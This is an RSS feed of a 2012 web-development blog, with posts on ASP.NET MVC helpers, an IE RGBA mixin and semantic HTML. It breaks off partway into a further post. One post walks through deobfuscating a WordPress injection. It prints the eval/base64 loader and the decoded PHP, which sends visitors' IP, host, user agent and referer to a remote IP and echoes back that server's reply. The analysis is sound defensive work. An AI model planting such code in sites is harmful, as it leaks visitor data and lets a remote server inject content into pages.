<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.d15.biz/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
	<channel><title>Daniel15's Blog</title><description>Blog of Daniel, a slightly awesome 21-year-old web developer from Melbourne, Australia</description><language>en</language><generator>Daniel15's Website (http://dan.cx/)</generator><lastBuildDate>Tue, 22 May 2012 21:59:00 +1000</lastBuildDate><link>http://dan.cx/blog</link><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.d15.biz/daniel15" /><feedburner:info uri="daniel15" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>-37.75</geo:lat><geo:long>145</geo:long><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.d15.biz/daniel15" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.plusmo.com/add?url=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare href="http://www.thefreedictionary.com/_/hp/AddRSS.aspx?http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://img.tfd.com/hp/addToTheFreeDictionary.gif">Subscribe with The Free Dictionary</feedburner:feedFlare><feedburner:feedFlare href="http://www.bitty.com/manual/?contenttype=rssfeed&amp;contentvalue=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.bitty.com/img/bittychicklet_91x17.gif">Subscribe with Bitty Browser</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsalloy.com/?rss=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.newsalloy.com/subrss3.gif">Subscribe with NewsAlloy</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare href="http://mix.excite.eu/add?feedurl=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://image.excite.co.uk/mix/addtomix.gif">Subscribe with Excite MIX</feedburner:feedFlare><feedburner:feedFlare href="http://www.yourminis.com/subscribe.aspx?u=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.yourminis.com/images/addtoyourminisbadge.gif">Subscribe with Yourminis.com</feedburner:feedFlare><feedburner:feedFlare href="http://download.attensa.com/app/get_attensa.html?feedurl=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.attensa.com/blogs/attensa/WindowsLiveWriter/BadgeredintoBadges_10C02/attensa_feed_button5.gif">Subscribe with Attensa for Outlook</feedburner:feedFlare><feedburner:feedFlare href="http://www.webwag.com/wwgthis.php?url=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.webwag.com/images/wwgthis.gif">Subscribe with Webwag</feedburner:feedFlare><feedburner:feedFlare href="http://hub.netomat.net/account/account.autoSubscribe.jspa?urls=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.netomat.net/blogger/images/icon_netomat_feedbutton.gif">Subscribe with netomat Hub</feedburner:feedFlare><feedburner:feedFlare href="http://www.podcastready.com/oneclick_bookmark.php?url=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.podcastready.com/images/podcastready_button.gif">Subscribe with Podcast Ready</feedburner:feedFlare><feedburner:feedFlare href="http://www.flurry.com/pushRssFeed.do?r=fb&amp;url=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.flurry.com/images/flurry_rss_logo2.gif">Subscribe with Flurry</feedburner:feedFlare><feedburner:feedFlare href="http://www.wikio.com/subscribe?url=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.wikio.com/shared/img/add2wikio.gif">Subscribe with Wikio</feedburner:feedFlare><feedburner:feedFlare href="http://www.dailyrotation.com/index.php?feed=http%3A%2F%2Ffeeds.d15.biz%2Fdaniel15" src="http://www.dailyrotation.com/rss-dr2.gif">Subscribe with Daily Rotation</feedburner:feedFlare><item><title>Custom strongly-typed HtmlHelpers in ASP.NET MVC</title><link>http://feeds.d15.biz/~r/daniel15/~3/P-2M5M0GCLA/custom-strongly-typed-htmlhelpers-in-asp-net-mvc</link><comments>http://dan.cx/blog/2012/05/custom-strongly-typed-htmlhelpers-in-asp-net-mvc#comments</comments><pubDate>Tue, 22 May 2012 21:59:00 +1000</pubDate><dc:creator>Daniel15</dc:creator><description>The original release of ASP.NET MVC used HTML helpers with a syntax like the following:
@Html.TextArea(&amp;quot;Title&amp;quot;)

These worked, but if you renamed the property in your model (for example, from “Title” to “Subject”) and forgot to update your view, you wouldn’t catch this error until you actually tried out the…</description><content:encoded><![CDATA[<p>The original release of ASP.NET MVC used HTML helpers with a syntax like the following:</p>
<pre class="brush: csharp">@Html.TextArea(&quot;Title&quot;)</pre>

<p>These worked, but if you renamed the property in your model (for example, from “Title” to “Subject”) and forgot to update your view, you wouldn’t catch this error until you actually tried out the page and noticed your model isn’t populating properly. By this time, you might have users using the site and wondering why stuff isn’t working.</p>

<p>ASP.NET MVC 2 introduced the concept of strongly-typed HtmlHelper extensions, and ASP.NET MVC 3 extended this even further. An example of a strongly typed HtmlHelper is the following:</p>

<pre class="brush: csharp">@Html.TextAreaFor(post =&gt; post.Title)</pre>

<p>These allow you to write more reliable code, as view compilation will fail if you change the field name in your model class but forget to change the field name in the view. If you use precompiled views, this error will be caught before deployment. </p>

<h3>Creating your own</h3>
<p>The built-in helpers are good, but quite often it’s nice to create your own helpers (for example, if you have your own custom controls like a star rating control or rich-text editor).<span id="read-more"></span> These new helpers are very easy to create, since we can make use of two different classes that come with ASP.NET MVC:</p>
<ul>
<li><a href="http://msdn.microsoft.com/en-us/library/system.web.mvc.expressionhelper.aspx">ExpressionHelper</a> — Gets the model name from a lambda expression (for example, returns the string “Date” for the expression “post => post.Date”, and “Author.Email” for the expression “post => post.Author.Email”). This is what you’d use in the ID and name of the field</li>
<li><a href="http://msdn.microsoft.com/en-us/library/system.web.mvc.modelmetadata.aspx">ModelMetadata</a> — Gets other information about the lambda expression, including its value</li>
</ul>

<p>These two classes give us all the information we require to make our own HTML helpers (internally, these are what all the built-in strongly-typed HTML helpers use).</p>
<p>Here’s an example of a simple HTML helper that uses both of the above classes:</p>

<pre class="brush: csharp">public static MvcHtmlString NewTextBox(this HtmlHelper htmlHelper, string name, string value)
{
	var builder = new TagBuilder(&quot;input&quot;);
	builder.Attributes[&quot;type&quot;] = &quot;text&quot;;
	builder.Attributes[&quot;name&quot;] = name;
	builder.Attributes[&quot;value&quot;] = value;
	return MvcHtmlString.Create(builder.ToString(TagRenderMode.SelfClosing));
}

public static MvcHtmlString NewTextBoxFor&lt;TModel, TProperty&gt;(this HtmlHelper&lt;TModel&gt; htmlHelper, Expression&lt;Func&lt;TModel, TProperty&gt;&gt; expression)
{
	var name = ExpressionHelper.GetExpressionText(expression);
	var metadata = ModelMetadata.FromLambdaExpression(expression, htmlHelper.ViewData);
	return NewTextBox(htmlHelper, name, metadata.Model as string);
}</pre>

<p>Given a model like this:</p>

<pre class="brush: csharp">public class Post
{
	public string Title { get; set; }
	// ...
}</pre>

<p>A view like this:</p>
<pre class="brush: csharp">@Html.NewTextBoxFor(model =&gt; model.Title)</pre>

<p>Will produce HTML like this:</p>
<pre class="brush: html">&lt;input name=&quot;Title&quot; type=&quot;text&quot; value=&quot;&quot; /&gt;</pre>

<p>For helpers with larger chunks of HTML, I’d suggest using partial views. These can be rendered using htmlHelper.Partial().</p>
<p>Hopefully this helps someone!</p>
<p>Until next time,<br />
— Daniel</p><div class="feedflare">
<a href="http://feeds.d15.biz/~ff/daniel15?a=P-2M5M0GCLA:QJ0EAIwUs78:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/daniel15?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=P-2M5M0GCLA:QJ0EAIwUs78:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/daniel15?i=P-2M5M0GCLA:QJ0EAIwUs78:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=P-2M5M0GCLA:QJ0EAIwUs78:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/daniel15?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=P-2M5M0GCLA:QJ0EAIwUs78:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/daniel15?i=P-2M5M0GCLA:QJ0EAIwUs78:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=P-2M5M0GCLA:QJ0EAIwUs78:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/daniel15?d=bcOpcFrp8Mo" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/daniel15/~4/P-2M5M0GCLA" height="1" width="1"/>]]></content:encoded><slash:comments>0</slash:comments><guid isPermaLink="false">http://dan.cx/blog/2012/05/custom-strongly-typed-htmlhelpers-in-asp-net-mvc</guid><category>C#</category><category>Web Development</category><feedburner:origLink>http://dan.cx/blog/2012/05/custom-strongly-typed-htmlhelpers-in-asp-net-mvc</feedburner:origLink></item><item><title>RGBA colours in IE via a LESS mixin</title><link>http://feeds.d15.biz/~r/daniel15/~3/Ubccd0gj6wo/rgba-in-ie</link><comments>http://dan.cx/blog/2012/05/rgba-in-ie#comments</comments><pubDate>Tue, 01 May 2012 22:08:00 +1000</pubDate><dc:creator>Daniel15</dc:creator><description>Modern browsers have support for RGBA colours, allowing you to have semi-transparent background colours. Unfortunately, this only works in awesome browsers (everything except IE 8 and below). However, IE does support a custom gradient filter. Whilst it's commonly used to render gradients (obviously), it supports alpha…</description><content:encoded><![CDATA[<p>Modern browsers have support for <a href="http://en.wikipedia.org/wiki/RGBA_color_space">RGBA colours</a>, allowing you to have semi-transparent background colours. Unfortunately, this only works in awesome browsers (everything except IE 8 and below). However, IE <em>does</em> support a custom <a href="http://msdn.microsoft.com/en-us/library/ms532997(VS.85).aspx">gradient filter</a>. Whilst it's commonly used to render gradients (obviously), it supports alpha transparency. If you set the start and end colours to be the same, this has the same effect as setting an alpha value on the colour.</p>
<p>This involves quite a lot of CSS for each alpha colour you want to use. We can automate this tedious code generation through a <a href="http://lesscss.org/">LESS</a> mixin. If you're still using 'pure' CSS, I'd highly suggest looking into LESS and SASS, they're extremely handy. In any case, I use a mixin similar to the following:</p>

<pre class="brush: css">
.rgba(@colour, @alpha)
{
	@alphaColour: hsla(hue(@colour), saturation(@colour), lightness(@colour), @alpha);
	@ieAlphaColour: argb(@alphaColour);
	
	background-color: @colour; // Fallback for older browsers
	background-color: @alphaColour; 
	
	// IE hacks
	zoom: 1; // hasLayout
	background-color: transparent\9;
	-ms-filter:  &quot;progid:DXImageTransform.Microsoft.gradient(startColorstr=@{ieAlphaColour}, endColorstr=@{ieAlphaColour})&quot;; // IE 8+
	    filter: ~&quot;progid:DXImageTransform.Microsoft.gradient(startColorstr=@{ieAlphaColour}, endColorstr=@{ieAlphaColour})&quot;; // IE 6 &amp; 7 
	
}
</pre>

<p>Note that IE requires the element to <a href="http://www.satzansatz.de/cssd/onhavinglayout.html">have layout</a> in order to apply filters to it (hence the <em>zoom: 1</em> hack), and <a href="http://blogs.msdn.com/b/ie/archive/2008/09/08/microsoft-css-vendor-extensions.aspx">IE 8 changed the filter syntax to use -ms-filter instead</a>. This LESS mixin can be used as follows:</p>
<pre class="brush: css">
#blah
{
        .rgba(black, 0.5);
}
</pre>
<p>This will set the element to a 50% black background. This mixin could be converted to SASS quite easily, too. Ideally I would have liked to apply the IE styles in a better way (like using <a href="http://paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/">conditional comments to set classes on the &lt;html> element</a>) but I couldn't get this approach working with LESS.</p>
<p>Hope this helps someone!</p>
<p>Until next time,<br />&mdash; Daniel</p><div class="feedflare">
<a href="http://feeds.d15.biz/~ff/daniel15?a=Ubccd0gj6wo:RArRt70Bs9I:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/daniel15?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=Ubccd0gj6wo:RArRt70Bs9I:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/daniel15?i=Ubccd0gj6wo:RArRt70Bs9I:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=Ubccd0gj6wo:RArRt70Bs9I:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/daniel15?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=Ubccd0gj6wo:RArRt70Bs9I:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/daniel15?i=Ubccd0gj6wo:RArRt70Bs9I:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=Ubccd0gj6wo:RArRt70Bs9I:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/daniel15?d=bcOpcFrp8Mo" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/daniel15/~4/Ubccd0gj6wo" height="1" width="1"/>]]></content:encoded><slash:comments>0</slash:comments><guid isPermaLink="false">http://dan.cx/blog/2012/05/rgba-in-ie</guid><category>Web Development</category><feedburner:origLink>http://dan.cx/blog/2012/05/rgba-in-ie</feedburner:origLink></item><item><title>Pulling apart a WordPress hack, unobfuscating its code</title><link>http://feeds.d15.biz/~r/daniel15/~3/kztH0HCniL0/pulling-apart-wordpress-hack</link><comments>http://dan.cx/blog/2011/11/pulling-apart-wordpress-hack#comments</comments><pubDate>Sat, 19 Nov 2011 22:17:00 +1100</pubDate><dc:creator>Daniel15</dc:creator><description>Over the past few months, there have been a few vulnerabilies in PHP scripts utilised by various WordPress themes. One of the largest hacks was back in August, when a Remote File Inclusion (RFI) vulnerability was found in TimThumb, a thumbnail generation script used by a lot of WordPress themes. This vulnerability allowed…</description><content:encoded><![CDATA[<p>Over the past few months, there have been a few vulnerabilies in PHP scripts utilised by various WordPress themes. One of the largest hacks was back in August, when a Remote File Inclusion (RFI) vulnerability was <a href="http://wpcandy.com/reports/timthumb-security-vulnerability-discovered">found in TimThumb</a>, a thumbnail generation script used by a lot of WordPress themes. This vulnerability allowed attackers to run <strong>any</strong> PHP code on vulnerable sites. As a result of this, <a href="http://www.theregister.co.uk/2011/11/02/wordpress_mass_compromise/">thousands of sites were hacked</a>.</p>
<p>The most common result of your site being hacked through like this is having some sort of malicious code added to your PHP files. This is often invisible, and people don't notice that their site has malicious code lurking in it until much later. However, sometimes the hacked code does have errors in it. One particular payload is being referred to as the "<a href="http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/">'Cannot redeclare' hack</a>", as it causes an error like the following to appear in your site's footer:</p>
<blockquote>
Fatal error: Cannot redeclare _765258526()
(previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) 
: eval()'d code:1) in /path/to/www/index.php(18) 
: eval()'d code on line 1
</blockquote>
<p>This particular hack affects all the index.php and footer.php files in your WordPress installation. If you are affected by this hack and open any index.php or footer.php file, you'll see code that starts like this: (<a href="http://pastebin.com/8CCJz45k">the full code is on Pastebin</a>)</p>
<pre class="brush: php">
&lt;?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5Wj...
</pre>

<h3>Decoding the Code</h3>
<p>If you're this far, I assume you're a PHP developer (or at least know the basics of PHP). The malicious code above is actually highly obfuscated PHP code, which means that the actual intent of the code is hidden and it looks like jibberish. The <strong>eval</strong> statement runs arbitrary PHP code, so this line of code will basically base64 decode and then run the big block of code. So... what does the code actually do? Obviously we can't tell with it in its current state. It does take a bit of effort, but this code can be "decoded" relatively easy. Obfuscation is not one-way, it can always be undone. While we can't get back the original variable names, we <em>can</em> see what functions the code is executing.</p>
<p>The first step in decoding this code is replacing all instances of <strong>eval</strong> with <strong>echo</strong>, and then running the script. This should output the code being executed, instead of actually executing it. After doing this, I ended up with something like the following:</p>
<pre class="brush: php">
$GLOBALS['_2143977049_']=Array();
function _765258526($i){$a=Array();return base64_decode($a[$i]);}

eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyMjM...
</pre>
<p>Great, another layer of gzipped/base64'd obfuscation. This technique is common with obfuscated code like this. Multiple layers of obfuscation makes it harder for someone to decode the code, as it requires more effort. I guess the "bad guys" think that people will get tired of trying to unobfuscate the code, and give up, or something like that. When a case like this is encountered, keep replacing <strong>eval</strong> with <strong>echo</strong> and re-running the script, until there's no eval statements left. After decoding all the eval'd code and formatting the resulting code, I <a href="http://pastebin.com/sc0J6FB5">ended up with this</a>. While there's readable code there now, it's still obfuscated.</p>
<p>Once you're this far, if you look closely at the code, you'll notice that a lot of it is encoded using base64. The next step to unobfuscating thid code is to decode all base64-encoded text. That is, find all instances of base64_decode(...) and replace it with the base64 decoded version. Once I did that, I ended up with this:</p>
<pre class="brush: php">
&lt;?php 
$GLOBALS['_226432454_']=Array();
function _1618533527($i)
{
        return '91.196.216.64';
}
 
$ip=_1618533527(0);
$GLOBALS['_1203443956_'] = Array('urlencode');
function _1847265367($i)
{
        $a=Array('http://','/btt.php?ip=','REMOTE_ADDR','&amp;host=','HTTP_HOST','&amp;ua=','HTTP_USER_AGENT','&amp;ref=','HTTP_REFERER');
        return $a[$i];
}
$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)];
$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');
function _393632915($i)
{
    return 'curl_version';
}
if ($GLOBALS['_399629645_'][0](_393632915(0))) 
{
        $ch=$GLOBALS['_399629645_'][1]($url);
        $GLOBALS['_399629645_'][2]($ch,CURLOPT_RETURNTRANSFER,true);
        $GLOBALS['_399629645_'][3]($ch,CURLOPT_HEADER,round(0));
        $GLOBALS['_399629645_'][4]($ch,CURLOPT_TIMEOUT,round(0+0.75+0.75+0.75+0.75));
        $re=$GLOBALS['_399629645_'][5]($ch);
        $GLOBALS['_399629645_'][6]($ch);
}
else
{
        $re=$GLOBALS['_399629645_'][7]($url);  
}
echo $re;
?&gt;
</pre>

<p>Now you simply need to go through the code and "execute it in your head". Follow the execution path of the code, and see which variables are used where. There's some usage of arrays to disguise certain variables. What I did was first replaced the two function calls (_1618533527 and _1847265367), and then replaced the array usages (_1203443956_, _399629645_ and _399629645_). Substitute the variables in the places they're used, and the code should be fully obfuscated. Once fully unobfuscated, the code came down to the following:</p>
<pre class="brush: php">
&lt;?php
$url = 'http://91.196.216.64/btt.php?ip=' . $_SERVER['REMOTE_ADDR'] . '&amp;host=' . $_SERVER['HTTP_HOST'] . '&amp;ua=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&amp;ref=' . $_SERVER['HTTP_REFERER'];

if (function_exists('curl_version'))
{
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 3);
	$re = curl_exec($ch);
	curl_close($ch);
}
else
{
	$re = file_get_contents($url);
}
echo $re;
</pre>
<p>So, what it's actually doing is sending a request to <strong>91.196.216.64</strong> (a server located in Russia), telling it your site's hostname, your user agent (what browser you're using), and the referer (how you got to the page). This is not directly malicious (this code can't directly do anything bad), which makes it interesting. My theory is that the developer of the worm is using this to create a list of all vulnerable sites, to use them for further hacks in the near future.</p>
<p>So, that's it. Hopefully this post wasn't too boring (and perhaps you even learnt how to unobfuscate code like this). As more people learn how to unobfuscate code like this, I suspect that the "hackers" will keep getting smarter and devising more clever code obfuscation techniques. Until then, finding out what the code actually does is relatively quick and easy, as I've demonstrated here.</p>
<p>Until next time, <br /> &mdash; Daniel</p><div class="feedflare">
<a href="http://feeds.d15.biz/~ff/daniel15?a=kztH0HCniL0:MpDYPwYxS90:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/daniel15?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=kztH0HCniL0:MpDYPwYxS90:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/daniel15?i=kztH0HCniL0:MpDYPwYxS90:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=kztH0HCniL0:MpDYPwYxS90:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/daniel15?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=kztH0HCniL0:MpDYPwYxS90:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/daniel15?i=kztH0HCniL0:MpDYPwYxS90:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=kztH0HCniL0:MpDYPwYxS90:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/daniel15?d=bcOpcFrp8Mo" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/daniel15/~4/kztH0HCniL0" height="1" width="1"/>]]></content:encoded><slash:comments>5</slash:comments><guid isPermaLink="false">http://dan.cx/blog/2011/11/pulling-apart-wordpress-hack</guid><category>PHP</category><category>Programming</category><category>WordPress</category><feedburner:origLink>http://dan.cx/blog/2011/11/pulling-apart-wordpress-hack</feedburner:origLink></item><item><title>Surrounded by ugly HTML</title><link>http://feeds.d15.biz/~r/daniel15/~3/rmCqtGm7WZQ/surrounded-by-ugly-html</link><comments>http://dan.cx/blog/2011/10/surrounded-by-ugly-html#comments</comments><pubDate>Thu, 13 Oct 2011 19:26:00 +1100</pubDate><dc:creator>Daniel15</dc:creator><description>Am I the only person that cringes when I see HTML like this?
&amp;lt;div class=&amp;quot;h1Title&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;spriteicon_img_mini&amp;quot; id=&amp;quot;icon-name_mini&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;Page Title&amp;lt;/div&amp;gt;
Or like this?
&amp;lt;!--Start Footer--&amp;gt;
&amp;lt;div…</description><content:encoded><![CDATA[<p>Am I the only person that cringes when I see HTML like this?</p>
<pre class="brush: html">&lt;div class=&quot;h1Title&quot;&gt;&lt;div class=&quot;spriteicon_img_mini&quot; id=&quot;icon-name_mini&quot;&gt;&lt;/div&gt;Page Title&lt;/div&gt;</pre>
<p>Or like this?</p>
<pre class="brush: html">&lt;!--Start Footer--&gt;
&lt;div id=&quot;heading-bottom_bg&quot; class=&quot;spriteheading_bg footer&quot;&gt;
	&lt;ul class=&quot;links footer_ul&quot;&gt;
		&lt;li class=&quot;footer_li&quot;&gt;&lt;a class=&quot;footer_li_a bottomlink&quot; href=&quot;../index.html&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;
		&lt;li class=&quot;footer_li&quot;&gt;&lt;span class=&quot;footer&quot; style=&quot;font-size:18px;&quot;&gt;&amp;#9642;&lt;/span&gt;&lt;/li&gt;
		...
		&lt;li class=&quot;footer_li&quot;&gt;&lt;a class=&quot;footer_li_a bottomlink&quot; href=&quot;/logout/&quot;&gt;Log out&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;
&lt;/div&gt;</pre>
<p>Notice the classes on all those elements. Really? A web developer that doesn't know about the &lt;h1> tag or CSS descendant/child selectors? Why do people feel the need to use &lt;div> tags for everything, when there's other more semantic tags available? It really doesn't make sense to me; some of the first HTML tags I learnt were &lt;h1> and &lt;p>.</p>
<p>For what it's worth, this is how I'd rewrite those two blocks of HTML:</p>
<pre class="brush: html">&lt;h1 class=&quot;icon-name&quot;&gt;Page Title&lt;/h1&gt;</pre>
<pre class="brush: html">&lt;!--Start Footer--&gt;
&lt;div id=&quot;footer&quot;&gt;
	&lt;ul&gt;
		&lt;li&gt;&lt;a href=&quot;../index.html&quot;&gt;Home&lt;/a&gt; &amp;#9642;&lt;/li&gt;
		...
		&lt;li&gt;&lt;a href=&quot;/logout/&quot;&gt;Log out&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;
&lt;/div&gt;</pre>

<p>It's good to keep your HTML and CSS selectors as simple as possible. There's no need for a "footer_li" class when you can just use "#footer li" in your CSS. The "icon-name" CSS class on the &lt;h1> is used for a CSS sprite to display next to the heading. Also, as an alternative, the separator (&amp;#9642;) that was originally in a &lt;span> after all the footer items can easily be added via the :after pseudo selector instead of being in the &lt;li>. </p>
<p>It's really frustrating that there's so many "web developers" that don't seem to know basic HTML. It's okay if you're just starting to learn, this is fair enough. The HTML I "wrote" when I started web development was horrendous. And by "wrote" I mean "created in FrontPage 98". But it's another thing altogether to be a developer for a number of years and still write ugly HTML like this.</p>
<p>Ugly JavaScript seems to be way more common, though. But that's a rant for another day.</p><div class="feedflare">
<a href="http://feeds.d15.biz/~ff/daniel15?a=rmCqtGm7WZQ:rxwArFDNXa8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/daniel15?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=rmCqtGm7WZQ:rxwArFDNXa8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/daniel15?i=rmCqtGm7WZQ:rxwArFDNXa8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=rmCqtGm7WZQ:rxwArFDNXa8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/daniel15?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=rmCqtGm7WZQ:rxwArFDNXa8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/daniel15?i=rmCqtGm7WZQ:rxwArFDNXa8:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=rmCqtGm7WZQ:rxwArFDNXa8:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/daniel15?d=bcOpcFrp8Mo" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/daniel15/~4/rmCqtGm7WZQ" height="1" width="1"/>]]></content:encoded><slash:comments>3</slash:comments><guid isPermaLink="false">http://dan.cx/blog/2011/10/surrounded-by-ugly-html</guid><category>Programming</category><category>Web Development</category><feedburner:origLink>http://dan.cx/blog/2011/10/surrounded-by-ugly-html</feedburner:origLink></item><item><title>Twitter autoreply bot - DBZNappa</title><link>http://feeds.d15.biz/~r/daniel15/~3/W0LlR4EQ3sU/twitter-autoreply-bot-dbznappa</link><comments>http://dan.cx/blog/2011/06/twitter-autoreply-bot-dbznappa#comments</comments><pubDate>Sat, 11 Jun 2011 22:15:06 +1000</pubDate><dc:creator>Daniel15</dc:creator><description>So I thought I'd finally write a little blog post about a Twitter bot I made a while ago. A few people emailed me asking for the source code, so I had previously posted about it on webDevRefinery, but never on my own blog. Basically all the bot does is search for whenever people mention "over 9000" or "over nine thousand", and…</description><content:encoded><![CDATA[<p>So I thought I'd finally write a little blog post about a <a 